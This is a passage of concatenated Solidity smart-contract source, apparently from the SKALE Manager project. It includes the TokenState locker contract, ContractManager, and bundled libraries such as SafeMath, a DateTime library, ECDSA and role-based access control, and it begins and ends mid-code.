"FORGIVER_ROLE is required"); DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); require(!delegationController.hasUnprocessedSlashes(holder), "Not all slashes were calculated"); if (amount > _locked[holder]) { delete _locked[holder]; } else { _locked[holder] = _locked[holder].sub(amount); } emit Forgive(holder, amount); } /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}. */ function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) { return _getAndUpdateLockedAmount(wallet); } /** * @dev Allows DelegationController contract to execute slashing of * delegations. */ function handleSlash(address holder, uint amount) external allow("DelegationController") { _locked[holder] = _locked[holder].add(amount); } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); } // private /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function _getAndUpdateLockedAmount(address wallet) private returns (uint) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController")); delegationController.processAllSlashes(wallet); return _locked[wallet]; } } // SPDX-License-Identifier: AGPL-3.0-only /* TokenState.sol - SKALE Manager Copyright (C) 2019-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "../interfaces/delegation/ILocker.sol"; import "../Permissions.sol"; import "./DelegationController.sol"; import "./TimeHelpers.sol"; /** * @title Token State * @dev This contract manages lockers to control token transferability. * * The SKALE Network has three types of locked tokens: * * - Tokens that are transferrable but are currently locked into delegation with * a validator. * * - Tokens that are not transferable from one address to another, but may be * delegated to a validator `getAndUpdateLockedAmount`. This lock enforces * Proof-of-Use requirements. * * - Tokens that are neither transferable nor delegatable * `getAndUpdateForbiddenForDelegationAmount`. This lock enforces slashing. */ contract TokenState is Permissions, ILocker { string[] private _lockers; DelegationController private _delegationController; bytes32 public constant LOCKER_MANAGER_ROLE = keccak256("LOCKER_MANAGER_ROLE"); modifier onlyLockerManager() { require(hasRole(LOCKER_MANAGER_ROLE, msg.sender), "LOCKER_MANAGER_ROLE is required"); _; } /** * @dev Emitted when a contract is added to the locker. */ event LockerWasAdded( string locker ); /** * @dev Emitted when a contract is removed from the locker. */ event LockerWasRemoved( string locker ); /** * @dev See {ILocker-getAndUpdateLockedAmount}. */ function getAndUpdateLockedAmount(address holder) external override returns (uint) { if (address(_delegationController) == address(0)) { _delegationController = DelegationController(contractManager.getContract("DelegationController")); } uint locked = 0; if (_delegationController.getDelegationsByHolderLength(holder) > 0) { // the holder ever delegated for (uint i = 0; i < _lockers.length; ++i) { ILocker locker = ILocker(contractManager.getContract(_lockers[i])); locked = locked.add(locker.getAndUpdateLockedAmount(holder)); } } return locked; } /** * @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}. */ function getAndUpdateForbiddenForDelegationAmount(address holder) external override returns (uint amount) { uint forbidden = 0; for (uint i = 0; i < _lockers.length; ++i) { ILocker locker = ILocker(contractManager.getContract(_lockers[i])); forbidden = forbidden.add(locker.getAndUpdateForbiddenForDelegationAmount(holder)); } return forbidden; } /** * @dev Allows the Owner to remove a contract from the locker. * * Emits a {LockerWasRemoved} event. */ function removeLocker(string calldata locker) external onlyLockerManager { uint index; bytes32 hash = keccak256(abi.encodePacked(locker)); for (index = 0; index < _lockers.length; ++index) { if (keccak256(abi.encodePacked(_lockers[index])) == hash) { break; } } if (index < _lockers.length) { if (index < _lockers.length.sub(1)) { _lockers[index] = _lockers[_lockers.length.sub(1)]; } delete _lockers[_lockers.length.sub(1)]; _lockers.pop(); emit LockerWasRemoved(locker); } } function initialize(address contractManagerAddress) public override initializer { Permissions.initialize(contractManagerAddress); _setupRole(LOCKER_MANAGER_ROLE, msg.sender); addLocker("DelegationController"); addLocker("Punisher"); } /** * @dev Allows the Owner to add a contract to the Locker. * * Emits a {LockerWasAdded} event. */ function addLocker(string memory locker) public onlyLockerManager { _lockers.push(locker); emit LockerWasAdded(locker); } } pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.6.0; // ---------------------------------------------------------------------------- // BokkyPooBah's DateTime Library v1.01 // // A gas-efficient Solidity date and time library // // https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary // // Tested date range 1970/01/01 to 2345/12/31 // // Conventions: // Unit | Range | Notes // :-------- |:-------------:|:----- // timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC // year | 1970 ... 2345 | // month | 1 ... 12 | // day | 1 ... 31 | // hour | 0 ... 23 | // minute | 0 ... 59 | // second | 0 ... 59 | // dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday // // // Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence. // ---------------------------------------------------------------------------- library BokkyPooBahsDateTimeLibrary { uint constant SECONDS_PER_DAY = 24 * 60 * 60; uint constant SECONDS_PER_HOUR = 60 * 60; uint constant SECONDS_PER_MINUTE = 60; int constant OFFSET19700101 = 2440588; uint constant DOW_MON = 1; uint constant DOW_TUE = 2; uint constant DOW_WED = 3; uint constant DOW_THU = 4; uint constant DOW_FRI = 5; uint constant DOW_SAT = 6; uint constant DOW_SUN = 7; // ------------------------------------------------------------------------ // Calculate the number of days from 1970/01/01 to year/month/day using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and subtracting the offset 2440588 so that 1970/01/01 is day 0 // // days = day // - 32075 // + 1461 * (year + 4800 + (month - 14) / 12) / 4 // + 367 * (month - 2 - (month - 14) / 12 * 12) / 12 // - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4 // - offset // ------------------------------------------------------------------------ function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) { require(year >= 1970); int _year = int(year); int _month = int(month); int _day = int(day); int __days = _day - 32075 + 1461 * (_year + 4800 + (_month - 14) / 12) / 4 + 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12 - 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4 - OFFSET19700101; _days = uint(__days); } // ------------------------------------------------------------------------ // Calculate year/month/day from the number of days since 1970/01/01 using // the date conversion algorithm from // http://aa.usno.navy.mil/faq/docs/JD_Formula.php // and adding the offset 2440588 so that 1970/01/01 is day 0 // // int L = days + 68569 + offset // int N = 4 * L / 146097 // L = L - (146097 * N + 3) / 4 // year = 4000 * (L + 1) / 1461001 // L = L - 1461 * year / 4 + 31 // month = 80 * L / 2447 // dd = L - 2447 * month / 80 // L = month / 11 // month = month + 2 - 12 * L // year = 100 * (N - 49) + year + L // ------------------------------------------------------------------------ function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) { int __days = int(_days); int L = __days + 68569 + OFFSET19700101; int N = 4 * L / 146097; L = L - (146097 * N + 3) / 4; int _year = 4000 * (L + 1) / 1461001; L = L - 1461 * _year / 4 + 31; int _month = 80 * L / 2447; int _day = L - 2447 * _month / 80; L = _month / 11; _month = _month + 2 - 12 * L; _year = 100 * (N - 49) + _year + L; year = uint(_year); month = uint(_month); day = uint(_day); } function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY; } function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) { timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second; } function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) { (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; secs = secs % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; second = secs % SECONDS_PER_MINUTE; } function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) { if (year >= 1970 && month > 0 && month <= 12) { uint daysInMonth = _getDaysInMonth(year, month); if (day > 0 && day <= daysInMonth) { valid = true; } } } function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (bool valid) { if (isValidDate(year, month, day)) { if (hour < 24 && minute < 60 && second < 60) { valid = true; } } } function isLeapYear(uint timestamp) internal pure returns (bool leapYear) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); leapYear = _isLeapYear(year); } function _isLeapYear(uint year) internal pure returns (bool leapYear) { leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0); } function isWeekDay(uint timestamp) internal pure returns (bool weekDay) { weekDay = getDayOfWeek(timestamp) <= DOW_FRI; } function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) { weekEnd = getDayOfWeek(timestamp) >= DOW_SAT; } function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); daysInMonth = _getDaysInMonth(year, month); } function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) { if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) { daysInMonth = 31; } else if (month != 2) { daysInMonth = 30; } else { daysInMonth = _isLeapYear(year) ? 29 : 28; } } // 1 = Monday, 7 = Sunday function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) { uint _days = timestamp / SECONDS_PER_DAY; dayOfWeek = (_days + 3) % 7 + 1; } function getYear(uint timestamp) internal pure returns (uint year) { uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getMonth(uint timestamp) internal pure returns (uint month) { uint year; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getDay(uint timestamp) internal pure returns (uint day) { uint year; uint month; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); } function getHour(uint timestamp) internal pure returns (uint hour) { uint secs = timestamp % SECONDS_PER_DAY; hour = secs / SECONDS_PER_HOUR; } function getMinute(uint timestamp) internal pure returns (uint minute) { uint secs = timestamp % SECONDS_PER_HOUR; minute = secs / SECONDS_PER_MINUTE; } function getSecond(uint timestamp) internal pure returns (uint second) { second = timestamp % SECONDS_PER_MINUTE; } function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); year += _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); month += _months; year += (month - 1) / 12; month = (month - 1) % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _days * SECONDS_PER_DAY; require(newTimestamp >= timestamp); } function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _hours * SECONDS_PER_HOUR; require(newTimestamp >= timestamp); } function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE; require(newTimestamp >= timestamp); } function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp + _seconds; require(newTimestamp >= timestamp); } function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); year -= _years; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) { uint year; uint month; uint day; (year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY); uint yearMonth = year * 12 + (month - 1) - _months; year = yearMonth / 12; month = yearMonth % 12 + 1; uint daysInMonth = _getDaysInMonth(year, month); if (day > daysInMonth) { day = daysInMonth; } newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _days * SECONDS_PER_DAY; require(newTimestamp <= timestamp); } function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _hours * SECONDS_PER_HOUR; require(newTimestamp <= timestamp); } function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE; require(newTimestamp <= timestamp); } function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) { newTimestamp = timestamp - _seconds; require(newTimestamp <= timestamp); } function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) { require(fromTimestamp <= toTimestamp); uint fromYear; uint fromMonth; uint fromDay; uint toYear; uint toMonth; uint toDay; (fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _years = toYear - fromYear; } function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) { require(fromTimestamp <= toTimestamp); uint fromYear; uint fromMonth; uint fromDay; uint toYear; uint toMonth; uint toDay; (fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY); (toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY); _months = toYear * 12 + toMonth - fromYear * 12 - fromMonth; } function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) { require(fromTimestamp <= toTimestamp); _days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY; } function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) { require(fromTimestamp <= toTimestamp); _hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR; } function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) { require(fromTimestamp <= toTimestamp); _minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE; } function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) { require(fromTimestamp <= toTimestamp); _seconds = toTimestamp - fromTimestamp; } } pragma solidity ^0.6.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) { revert("ECDSA: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECDSA: invalid signature 'v' value"); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } pragma solidity ^0.6.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../GSN/Context.sol"; import "../Initializable.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, _msgSender())); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. */ abstract contract AccessControlUpgradeSafe is Initializable, ContextUpgradeSafe { function __AccessControl_init() internal initializer { __Context_init_unchained(); __AccessControl_init_unchained(); } function __AccessControl_init_unchained() internal initializer { } using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: AGPL-3.0-only /* ContractManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol"; import "@skalenetwork/skale-manager-interfaces/IContractManager.sol"; import "./utils/StringUtils.sol"; /** * @title ContractManager * @dev Contract contains the actual current mapping from contract IDs * (in the form of human-readable strings) to addresses. */ contract ContractManager is OwnableUpgradeSafe, IContractManager { using StringUtils for string; using Address for address; string public constant BOUNTY = "Bounty"; string public constant CONSTANTS_HOLDER = "ConstantsHolder"; string public constant DELEGATION_PERIOD_MANAGER = "DelegationPeriodManager"; string public constant PUNISHER = "Punisher"; string public constant SKALE_TOKEN = "SkaleToken"; string public constant TIME_HELPERS = "TimeHelpers"; string public constant TOKEN_STATE = "TokenState"; string public constant VALIDATOR_SERVICE = "ValidatorService"; // mapping of actual smart contracts addresses mapping (bytes32 => address) public contracts; /** * @dev Emitted when contract is upgraded. */ event ContractUpgraded(string contractsName, address contractsAddress); function initialize() external initializer { OwnableUpgradeSafe.__Ownable_init(); } /** * @dev Allows the Owner to add contract to mapping of contract addresses. * * Emits a {ContractUpgraded} event. * * Requirements: * * - New address is non-zero. * - Contract is not already added. * - Contract address contains code. */ function setContractsAddress( string calldata contractsName, address newContractsAddress ) external override onlyOwner { // check newContractsAddress is not equal to zero require(newContractsAddress != address(0), "New address is equal zero"); // create hash of contractsName bytes32 contractId = keccak256(abi.encodePacked(contractsName)); // check newContractsAddress is not equal the previous contract's address require(contracts[contractId] != newContractsAddress, "Contract is already added"); require(newContractsAddress.isContract(), "Given contract address does not contain code"); // add newContractsAddress to mapping of actual contract addresses contracts[contractId] = newContractsAddress; emit ContractUpgraded(contractsName, newContractsAddress); } /** * @dev Returns contract address. * * Requirements: * * - Contract must exist. */ function getDelegationPeriodManager() external view returns (address) { return getContract(DELEGATION_PERIOD_MANAGER); } function getBounty() external view returns (address) { return getContract(BOUNTY); } function getValidatorService() external view returns (address) { return getContract(VALIDATOR_SERVICE); } function getTimeHelpers() external view returns (address) { return getContract(TIME_HELPERS); } function getConstantsHolder() external view returns (address) { return getContract(CONSTANTS_HOLDER); } function getSkaleToken() external view returns (address) { return getContract(SKALE_TOKEN); } function getTokenState() external view returns (address) { return getContract(TOKEN_STATE); } function getPunisher() external view returns (address) { return getContract(PUNISHER); } function getContract(string memory name) public view override returns (address contractAddress) { contractAddress = contracts[keccak256(abi.encodePacked(name))]; if (contractAddress == address(0)) { revert(name.strConcat(" contract has not been found")); } } } pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to 